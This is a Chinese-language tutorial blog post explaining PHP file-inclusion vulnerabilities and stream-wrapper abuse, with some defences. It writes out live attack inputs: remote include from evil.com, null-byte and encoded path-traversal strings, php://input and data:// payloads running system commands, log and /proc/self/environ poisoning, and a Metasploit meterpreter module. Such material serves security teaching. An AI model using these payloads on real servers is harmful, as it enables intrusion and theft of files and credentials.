本文希望分享一些本地檔案包含、遠端檔案包含、PHP的封裝協議(偽協議)中可能包含的漏洞
相關學習資料
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0 http://hi.baidu.com/txcbg/item/c9549af659b3de0dd99e725e http://cn2.php.net/manual/zh/wrappers.php http://www.wechall.net/
目錄
1. 檔案包含的基本概念 2. LFI(Local File Include) 3. RFI(Remote File Include) 4. PHP中的封裝協議(偽協議)、PHP的流式檔案操作模式所帶來的問題
1. 檔案包含的基本概念
嚴格來說,檔案包含漏洞是"程式碼注入"的一種。"程式碼注入"這種攻擊,其原理就是注入一段使用者能控制的指令碼或程式碼,並讓伺服器端執行。
"程式碼注入"的典型程式碼就是檔案包含(File Inclusion),我的理解是叫"外部資料流包含",至於這個外部資料流是什麼,可以是檔案,也可以是POST資料流的形式。
檔案包含可能會出現在JSP,PHP,ASP等語言中。
PHP: include(), include_once, require(), require_once(), fopen(), readfile() JSP/Servlet: ava.io.File(), Java.io.FileReader() ASP: include file, include virtual
在PHP中,當使用這4個函式包含一個新的檔案時,該檔案將作為PHP程式碼執行,PHP的核心並不會在意被包含的檔案是什麼型別。所以如果被包含的是txt、圖片、遠端URL。也都會被當作PHP程式碼執行(圖片型木馬的原理也就在這裡)。
要想成功利用檔案包含漏洞,需要滿足下面的條件
1) include()等函式通過動態變數的方式引入需要包含的檔案
(攻擊者可以本地變數任意覆蓋的漏洞或者自定義字首的漏洞來達到這個動態引入的漏洞利用)
example: <?php $file = $_GET['file']; @include_once("$file" . "/templete/tpl.html"); ?> 黑客可以採取: 1) %00、/0截斷的方式使程式包含攻擊者想要的檔案 2) 攻擊者輸入一個remote url: http://www.evil.com/index.php? ,如果目標伺服器開啟了allow_url_include = On則這句程式碼表現為: @include_once("http://www.evil.com/index.php?/templete/tpl.html"); 可以看到,根據HTTP引數的定義,"?"後面的內容被當作了傳給這個指令碼的引數,從而達到了00截斷相同的效果
2) 使用者能夠控制該動態變數
<?php $file = $_GET['file']; @include_once("$file"); ?> 這種情況的利用方式就更多了,接下來我會盡我所能,把我搜集到的資料分享給大家
2. LFI(Local File Include)本地檔案包含
在探討本地檔案包含的漏洞之前,我覺得有必要先一下本地檔案包含的作用。在WEB開發中為什麼要使用本地檔案包含,它有什麼作用。
一般來說,本地檔案包含(即include)有以下幾點作用
1) 將網站頁面通用的page_header.php(常常顯示banner資訊等)、頁面尾部page_footer.php(常常顯示版權資訊等)獨立出來,這樣在任何頁面需要的時候就可以直接通過include方式引入進來,提高了程式碼的重用性,加快了開發速度 2) 將通用配置檔案,例如資料庫連線檔案database.php單獨封裝出來,方便需要進行資料庫連線的時候就可以直接通過include方式引入進來 3) 將一些涉及到安全過濾、輸入檢測的程式碼邏輯單獨封裝成一個secure.php檔案,這樣就可以在整個WEB系統中進行統一的安全過濾處理,防止因為各個業務場景的程式碼邏輯不一致導致的漏洞 4) WEB系統中廣泛採用的檔案快取、資料快取都是通過include方式完成的
瞭解了LFI的應用場景之後,我們來學習一下LFI的成因、以及可能產生的安全問題
能夠開啟幷包含本地檔案的漏洞,被稱為本地檔案包含漏洞(Local File Inclusion LFI)
下面是一段測試程式碼:
<?php // "../../etc/passwd\0" $file = $_GET['file']; if(file_exists('/home/wwwrun/' . $file . '.php')) { inlcude '/home/wwwrun/' . $file . '.php'; } ?>
這個方案看似很安全,程式設計師把inlcude路徑的字首部分、字尾部分都給控制住了。相比於連路徑的字首都由使用者控制的那種漏洞已經安全多了。但是這裡存在幾個問題
1) 00字元截斷
PHP核心是由C語言實現的,因此使用了C語言中的一些字串處理函式。在連線字串時,0位元組(\x00)將作為字串的結束符。所以在這個地方,攻擊者只要在最後加入一個0位元組,就能截斷file變數之後的字串。
../etc/passwd\0
通過web輸入時,只需UrlEncode,變成:
../etc/passwd%00
字串截斷的技巧,也是檔案包含中最常用的技巧
防禦方法:
在一般的web應用中,0位元組使用者其實是不需要的,因此完全可以禁用0位元組
<?php function getVar($name) { $value = isset($_GET[$name]) ? $_GET[$name] : null; if(is_string($value)) { $value = str_replace("\0", '', $value); } }
?>
2) 超長字元截斷
採用00字元過濾並沒有完全解決問題,
利用作業系統對目錄最大長度的限制,可以不需要0位元組而達到截斷的目的。
http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html
我們知道目錄字串,在window下256位元組、linux下4096位元組時會達到最大值,最大值長度之後的字元將被丟棄。
而利用"./"的方式即可構造出超長目錄字串:
././././././././././././././././abc ////////////////////////abc ..1/abc/../1/abc/../1/abc
延伸一個話題:
這種截斷型漏洞我覺得和有一種資料庫截斷的導致越權訪問的漏洞類似:
在資料庫的表中一般會對某個欄位的長度進行限制,如果長度超過了這個長度會被資料庫自動截斷,如果原本存在一個admin賬戶(並且長度限制為5),那麼攻擊者可以嘗試註冊admin_test,但是因為資料庫的長度限制,導致被截斷了,也變成了admin,這種漏洞利用思想就是利用兩個系統範圍之間的標準不一致導致的繞過思路)
。作業系統把目錄字串的超出部分截斷了,反過來導致了攻擊者可以任意控制想要輸入的檔名
除了incldue()等4個函式之外,PHP中能夠對檔案進行操作的函式都有可能出現漏洞。雖然大多數情況下不能執行PHP程式碼,但能夠讀取敏感檔案帶來的後果也是比較嚴重的。例如: fopen()、fread()
0x3: 任意目錄遍歷
除了這種攻擊方式,還可以使用"../../../"這樣的方式來返回到上層目錄中,這種方式又被稱為"目錄遍歷(Path Traversal)"。常見的目錄遍歷漏洞,還可以通過不同的編碼方式來繞過一些伺服器端的防禦邏輯(WAF)
%2e%2e%2f -> ../ %2e%2e/ -> ../ ..%2f -> ../ %2e%2e%5c -> ..\ %2e%2e%\ -> ..\ ..%5c -> ..\ %252e%252e%255c -> ..\ ..%255c -> ..\
防禦方法:
目錄遍歷漏洞是一種跨越目錄讀取檔案的方法,但當PHP配置了open_basedir時,將很好地保護伺服器,使得這種攻擊無效。
open_basedir的作用是限制在某個特定目錄下PHP能開啟的檔案(有點像chroot的感覺)
比如在沒有設定open_basedir時,檔案包含漏洞可以訪問任意檔案
http://localhost/FIleInclude/index.php?file=../Time/index
當設定了open_basedir時:
open_basedir = E:\wamp\www\FIleInclude\ http://localhost/FIleInclude/index.php?file=../Time/index Warning: file_exists(): open_basedir restriction in effect. File(../Time/index.php) is not within the allowed path(s): (E:\wamp\www\FIleInclude\) in E:\wamp\www\FIleInclude\index.php on line 4 Call Stack 檔案包含失敗!!!
綜上,要防禦LFI的漏洞,應該儘量避免包含動態的變數,尤其是使用者可以控制的變數。一種變通的方式,則是使用列舉:
<?php $file = $_GET['file']; //whitelisting possible values switch($file) { case "main": case "foo": case "bar": include "/home/wwwrun/include" . $file . ".php"; break; default: include "/home/wwwrun/include/main.php"; } ?>
這是一種引數化白名單的防禦思想。通過將可能的值限定在一個可能的範圍內來控制風險。$file的值被列舉出來,也就避免了因為使用者的非法輸入導致檔案包含的風險。
3. RFI(Remote File Include)遠端檔案包含
遠端檔案包含本質上和LFI(本地檔案包含)是同一個概念,只是被包含的"檔案源"(我們之後會了解到其實是流源)不是從本次磁碟上獲得,而是從外部輸入流得到。
如果PHP的配置選項allow_url_include為ON的話,則include/require函式可以載入遠端檔案,這種漏洞被稱為"遠端檔案包含漏洞(Remote File Inclusion RFI)"。
為了更好地說明,我們還是準備一段典型程式碼:
<?php $basePath = $_GET['path']; require_once $basePath . "/action/m_share.php"; ?>
這裡看似將路徑的後半段都定死了,但是結合HTTP傳參的原理可以繞過去
攻擊者可以構造類似如下的攻擊URL
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
產生的原理:
/?path=http://localhost/test/solution.php? 最終目標應用程式程式碼實際上執行了: require_once "http://localhost/test/solution.php?/action/m_share.php"; (注意,這裡很巧妙,問號"?"後面的程式碼被解釋成URL的querystring,這也是一種"截斷"思想,和%00一樣) 攻擊者可以在http://localhost/test/solution.php上模擬出相應的路徑,從而使之吻合
防禦思路:
1. 關閉遠端檔案包含的配置選項 allow_url_include = Off
關於LFI還有另一種攻擊方式,我們將在接下來學習了PHP的偽協議封裝器、流之後理解到它的原理
4. PHP中的封裝協議(偽協議)、PHP的流式檔案操作模式所帶來的問題
我們知道,我們利用遠端/本地檔案包含漏洞的目的有以下幾個:
1) 越權訪問檔案(/etc/passwd) 1.1) 00截斷 1.2) 超長截斷 1.3) 目錄遍歷的攻擊方式 2) 任意程式碼執行 2.1) 通過正常、非正常將一個包含有指令碼程式碼的檔案上傳到伺服器上(常常是.jpg圖片格式,將程式碼藏在圖片中),然後在攻擊paylaod中引入這個包含指令碼程式碼的檔案,使程式碼得以執行(圖片木馬) 2.2) 通過包含伺服器上的WEB系統原本就存在的.php指令碼檔案達到改變程式碼邏輯的目的 2.3) 通過RFI(遠端檔案包含)將I/O流、協議流的資源描述符作為檔案包含的輸入源,從而利用HTTP通訊將任意程式碼注入原始的指令碼執行空間中
接下來,我們將逐一學習PHP中的封裝協議
http://cn2.php.net/manual/zh/wrappers.php
PHP 帶有很多內建 URL 風格的封裝協議(scheme://... ),可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的檔案系統函式。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。和javascript在瀏覽器中實現的一些的偽協議類似,PHP的偽協議提供了另一種"非常規"的方式進行資料的輸入、輸出
我對它們進行了一個大致的分類,分別對應於不同型別的漏洞攻擊方式
0x1: 越權訪問本地檔案
1) file:// — 訪問本地檔案系統
檔案系統是PHP使用的預設封裝協議,展現了本地檔案系統
<?php $res = file_get_contents("file://E://wamp//www//test//solution.php"); var_dump($res); ?>
這裡的要重點注意,file://這個偽協議可以展示"本地檔案系統",當存在某個使用者可控制、並得以訪問執行的輸入點時,我們可以嘗試輸入file://去試圖獲取本地磁碟檔案
http://www.wechall.net/challenge/crappyshare/index.php
http://www.wechall.net/challenge/crappyshare/crappyshare.php
在這題CTF中,攻擊的關鍵點在於:curl_exec($ch)
function upload_please_by_url($url) { if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL? { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); if (false === ($file_data = curl_exec($ch))) { htmlDisplayError('cURL failed.'); } else { // Thanks upload_please_thx($file_data); } } else { htmlDisplayError('Your URL looks errorneous.'); } }
當我們輸入的file://引數被帶入curl中執行時,原本的遠端URL訪問會被重定向到本地磁碟上,從而達到越權訪問檔案的目的
2) php://filter -- 對本地磁碟檔案進行讀寫
php://filter是一種元封裝器,設計用於"資料流開啟"時的"篩選過濾"應用。這對於一體式(all-in-one)的檔案函式非常有用,類似readfile()、file()、file_get_contens(),在資料流內容讀取之前沒有機會應用其他過濾器
<?php @include($_GET["file"]); ?> url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+ (base64解密就可以看到內容,這裡如果不進行base64_encode,則被include進來的程式碼就會被執行,導致看不到原始碼)
向磁碟寫入檔案
<?php /* 這會通過 rot13 過濾器篩選出字元 "Hello World" 然後寫入當前目錄下的 example.txt */ file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World"); ?> 這個引數採用一個或以管道符 | 分隔的多個過濾器名稱
0x2: 程式碼任意執行
1) php:// — 訪問各個輸入/輸出流(I/O streams)
http://cn2.php.net/manual/zh/wrappers.php.php
PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符, 記憶體中、磁碟備份的臨時檔案流以及可以操作其他讀取寫入檔案資源的過濾器。
1.1) php://input
php://input 是個可以訪問請求的原始資料的只讀流(這個原始資料指的是POST資料)
<?php $res = file_get_contents("php://input"); var_dump($res); ?> post提交資料:hello result: hello
偽協議php://input需要伺服器支援,同時要求"allow_url_include"設定為"On"
利用偽協議的這種性質,我們可以將LFI衍生為一個code excute漏洞
http://www.freebuf.com/articles/web/14097.html#comment-16863
<?php @eval(file_get_contents('php://input')) ?> http://localhost/test/index.php post: system("dir"); result: list directory
這本質上遠端檔案包含的利用,我們知道,遠端檔案包含中的include接收的是一個"資源定位符",在大多數情況下這是一個磁碟檔案路徑,但是從流的角度來看,這也可以是一個流資源定位符,即我們將include待包含的資源又重定向到了輸入流中,從而可以輸入我們的任意code到include中
<?php @include($_GET["file"]); ?> http://localhost/test/index.php?file=php://input post: <?php system('ipconfig');?> result: ip information
(有一點要注意)
<?php echo file_get_contents("solution.php");?>
在利用檔案包含進行程式碼執行的時候,我們通過file_get_contents獲取到的檔案內容,如果是一個.php檔案,會被當作include的輸入引數,也就意味著會被再執行一次,則我們無法看到原始程式碼了,解決這個問題的方法就是使用base64_encode進行編碼
<?php echo base64_encode(file_get_contents("solution.php"));?>
php://偽協議框架中還有其他的流,但是和原始碼執行似乎沒有關係,這裡也列出來大家一起學習吧
php://output是一個只寫的資料流,允許我們以print和echo一樣的方式寫入到輸出緩衝區
<?php $data = "hello LittleHann"; $res = file_put_contents("php://output", $data); ?> result: hello LittleHann
php://memory和php://temp是一個類似"檔案包裝器"的資料流,允許讀寫"臨時資料"。兩者唯一的區別是:
1) php://memory 總是把資料儲存在記憶體中 2) php://temp會在記憶體量達到預定義的限制後(預設是2M)存入臨時檔案中
臨時檔案位置的決定和sys_get_temp_dir()的方式一致(upload_tmp_dir = "E:/wamp/tmp")
<?php $fp = fopen("php://memory", 'r+'); fputs($fp, "hello LittleHann!!!\n"); rewind($fp); while(!feof($fp)) { echo fread($fp, 1024); } fclose($fp); ?> result: hello LittleHann!!!
2) data://偽協議
http://www.php.net/manual/zh/wrappers.data.php
這是一種資料流封裝器,data:URI schema(URL schema可以是很多形式)
利用data://偽協議進行程式碼執行的思路原理和php://是類似的,都是利用了PHP中的流的概念,將原本的include的檔案流重定向到了使用者可控制的輸入流中
data:text/plain,...
<?php @include($_GET["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain,<?php system("net user")?> result: user information
data://text/base64,...
<?php @include($_GET["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJuZXQgdXNlciIpPz4= result: user information
data://image/jpeg;base64,...
<?php $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata'])); ?> 圖片木馬
0x3: 目錄遍歷
1) glob://偽協議
glob:// 查詢匹配的檔案路徑模式
<?php // 迴圈 ext/spl/examples/ 目錄裡所有 *.php 檔案 // 並列印檔名和檔案尺寸 $it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
5. 檔案包含可能存在的其他利用方式
這裡用"可能"存在是因為有些利用方式和WEB系統的具體業務場景、程式碼邏輯、伺服器的版本、配置有關,不具有通用性
0x1: 包含Session檔案
包含Session檔案的條件也較為苛刻,它需要攻擊者能夠"控制"部分Session檔案的內容。 x|s:19:"<?php phpinfo(); ?>" PHP預設生成的Session檔案往往存放在/tmp目錄下 /tmp/sess_SESSIONID
0x2: 包含日誌檔案,比如Web Server的access.log
包含日誌檔案是一種比較靈活的技巧,因為伺服器一般都會往web server的access_log裡記錄客戶端的請求資訊,在error_log裡記錄出錯資訊。因此攻擊者可以間接地將PHP程式碼寫入到日誌檔案中,在檔案包含時,只需要包含日誌檔案即可
織夢CMS的一個利用mysql的錯誤語句,然後程式會把錯誤資訊寫入到網站的目錄下的一個.php檔案中。攻擊者只要在這此的錯誤請求中附帶上PHP程式碼,就可以達到getshell的目的,就是這個思路 http://sebug.net/vuldb/ssvid-12154 利用了MySQL欄位數值溢位引發錯誤和DEDECMS用PHP記錄資料庫錯誤資訊並且檔案頭部沒有驗證的漏洞
MSF攻擊模組
use exploit/unix/webapp/php_include set rhost 192.168.159.128 set rport 80 set phpuri /index.php?file=xxLFIxx set path http://172.18.176.147/ set payload php/meterpreter/bind_tcp set srvport 8888 exploit -z
0x3: 包含/proc/self/environ檔案
包含/proc/self/environ是一種更通用的方法,因為它根本不需要猜測包包含檔案的路徑,同時使用者也能控制它的內容。
http://192.168.159.128/index.php?file=../../../../../../../proc/self/environ SSH_AGENT_PID=4314 HOSTNAME=localhost.localdomain DESKTOP_STARTUP_ID=TERM=xtermSHELL=/bin/bash HISTSIZE=1000KDE_NO_IPV6=1GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2WINDOWID=26239249USER=rootLS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:GNOME_KEYRING_SOCKET=/tmp/keyring-SlrelE/socketSSH_AUTH_SOCK=/tmp/ssh-lFKDab4288/agent.4288KDEDIR=/usrSESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/4288MAIL=/var/spool/mail/rootPATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/binINPUTRC=/etc/inputrcPWD=/var/log/httpdXMODIFIERS=@im=noneLANG=en_US.UTF-8KDE_IS_PRELINKED=1SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpassSHLVL=3HOME=/rootGNOME_DESKTOP_SESSION_ID=DefaultLOGNAME=rootCVS_RSH=sshDBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-WIFRtyS0Yc,guid=4ede99c74b6a8ca1097e5500527437aeLESSOPEN=|/usr/bin/lesspipe.sh %sDISPLAY=:0.0G_BROKEN_FILENAMES=1COLORTERM=gnome-terminalXAUTHORITY=/root/.Xauthority_=/bin/catOLDPWD=/var/log
0x4: 包含上傳的臨時檔案(RFC1867)
但PHP建立的上傳臨時檔案,往往處於PHP允許訪問的目錄範圍內。
PHP處理上傳檔案的過程是這樣的:
HTTP POST with a file arrives PHP begins analysis PHP creates temp file PHP writes data to temp file PHP close temp file script execution begins [optional] script moves uploaded file script execution ends PHP removes temp files(if any)
PHP會為上傳檔案建立臨時檔案,其目錄在php.ini的upload_tmp_dir中定義。但該值預設為空,此時在linux下會使用/tmp目錄,在windows下會使用C:\windows\temp目錄。
該臨時檔案的檔名是隨機的,攻擊者必須準確猜測出該檔名才能成功利用此漏洞(之前分析的偽隨機數漏洞)。
PHP在此處並沒有使用安全的隨機函式,因此使得暴力猜解檔名成為可能。在windows下,僅有65535種不同的檔名。
http://www.exploit-db.com/download_pdf/17010/
在Sun Java 6 Update 11之前的createTempFile()中存在一個隨機數可預測的問題,在短時間內生成的隨機數實際上是順序增長的
http://hi.baidu.com/aullik5/item/2f851fc4bf9f3266f7c95dc2
import java.io.*; public class getTemp { public static void main(String[] args) { File f = null; String extension = ".tmp"; try { for(int i = 0; i < 100; i++) { f = File.createTempFile("temp", extension); System.out.println(f.getPath()); } } catch(IOException e) { // } } }
6. 後記
本文對檔案包含的學習就到這裡了,這裡推薦一個網站,國外辦的一個長期的learning site,題目蠻不錯的,可以學到不少東西
http://www.wechall.net/challenge/warchall/live_rfi/index.php http://www.wechall.net/challenge/warchall/live_lfi/index.php
下一步準備學習一下java,struct開發相關的知識,希望以後能涉及一些java方面的程式碼審計,滲透技巧
Copyright (c) 2014 LittleHann All rights reserved
Link: http://www.cnblogs.com/LittleHann/p/3665062.html